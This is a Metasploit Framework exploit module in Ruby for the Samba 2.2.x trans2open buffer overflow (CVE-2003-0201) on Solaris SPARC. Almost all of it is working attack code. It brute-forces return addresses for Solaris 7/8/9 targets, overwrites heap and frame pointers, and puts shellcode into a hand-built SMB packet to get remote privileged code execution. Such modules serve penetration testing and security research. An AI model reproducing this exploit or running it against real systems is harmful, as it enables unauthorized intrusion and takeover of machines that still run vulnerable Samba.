##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Samba trans2open Overflow (Solaris SPARC)',
			'Description'    => %q{
					This exploits the buffer overflow found in Samba versions
				2.2.0 to 2.2.8. This particular module is capable of
				exploiting the flaw on Solaris SPARC systems that do not
				have the noexec stack option set. Big thanks to MC and
				valsmith for resolving a problem with the beta version of
				this module.
			},
			'Author'         => [ 'hdm', 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2003-0201' ],
					[ 'OSVDB', '4469' ],
					[ 'BID', '7294' ],
					[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'MinNops'  => 512,
				},
			'Platform'       => 'solaris',
			'Targets'        =>
				[
					[ 'Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce',
						{
							'PtrToNonZero' => 0xffbffffc, # near the bottom of the stack
							'Offset'       => 1103,
							'Bruteforce'   =>
								{
									'Start' => { 'Ret' => 0xffbffaf0 },
									'Stop'  => { 'Ret' => 0xffbfa000 },
									'Step'  => 128
								}
						}
					],

					[ 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce',
						{
							'PtrToNonZero' => 0xffbefffc, # near the bottom of the stack
							'Offset'       => 1103,
							'Bruteforce'   =>
								{
									'Start' => { 'Ret' => 0xffbefaf0 },
									'Stop'  => { 'Ret' => 0xffbea000 },
									'Step'  => 128
								}
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 7 2003'
			))

		register_options(
			[
				Opt::RPORT(139)
			], self.class)
	end

	def brute_exploit(addrs)

		curr_ret = addrs['Ret']
		begin
			print_status("Trying return address 0x%.8x..." %  curr_ret)

			connect
			smb_login

			#
			# The obstacle course:
			# 	outsize = smb_messages[type].fn(conn, inbuf,outbuf,size,bufsize);
			# 	smb_dump(smb_fn_name(type), 0, outbuf, outsize);
			# 	return(outsize);
			#
			
			# This value *must* be 1988 to allow findrecv shellcode to work
			pattern = rand_text_english(1988)
			
			#
			# This was tested against sunfreeware samba 2.2.7a / solaris 9 / sun4u
			#
			# Patch the overwritten heap pointers
			# substr($pattern, 1159, 4, pack('N', $target->[4]));
			# substr($pattern, 1163, 4, pack('N', $target->[4]));
			#
			# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
			# substr($pattern, 1195, 4, pack('N', 0xffffffff));
			#
			# Fix the frame pointer (need to check for null in address)
			# substr($pattern, 1243, 4, pack('N', $target->[3]-64));
			#
			# Finally set the return address
			# substr($pattern, 1247, 4, pack('N', $curr_ret));
			#
			
			#
			# This method is more reliable against a wider range of targets
			#
			
			off = target['Offset']
			ptr_to_non_zero = target['PtrToNonZero']

			# Local variable pointer patches for early versions of 2.2.x
			pattern[off, 36] = [ptr_to_non_zero - 1024].pack('N') * 9
			off += 36
			
			# Overwrite heap pointers with a ptr to NULL at the top of the stack
			pattern[off, 40] = [ptr_to_non_zero - 1024].pack('N') * 10
			off += 40
			
			# Patch the type index into the smb_messages[] array...
			# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
			pattern[off, 20] = [0xffffffff].pack('N') * 5
			off += 20
			
			# This stream covers the framepointer and the return address
			pattern[off, 400] = [curr_ret].pack('N') * 100
			
			# Stuff the shellcode into the request
			pattern[3, payload.encoded.length] = payload.encoded
			
			trans =
				"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
				"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
				pattern

			sock.put(trans)
			handler
			disconnect
			
		rescue EOFError
		rescue => e
			print_error("#{e}")
		end

	end

end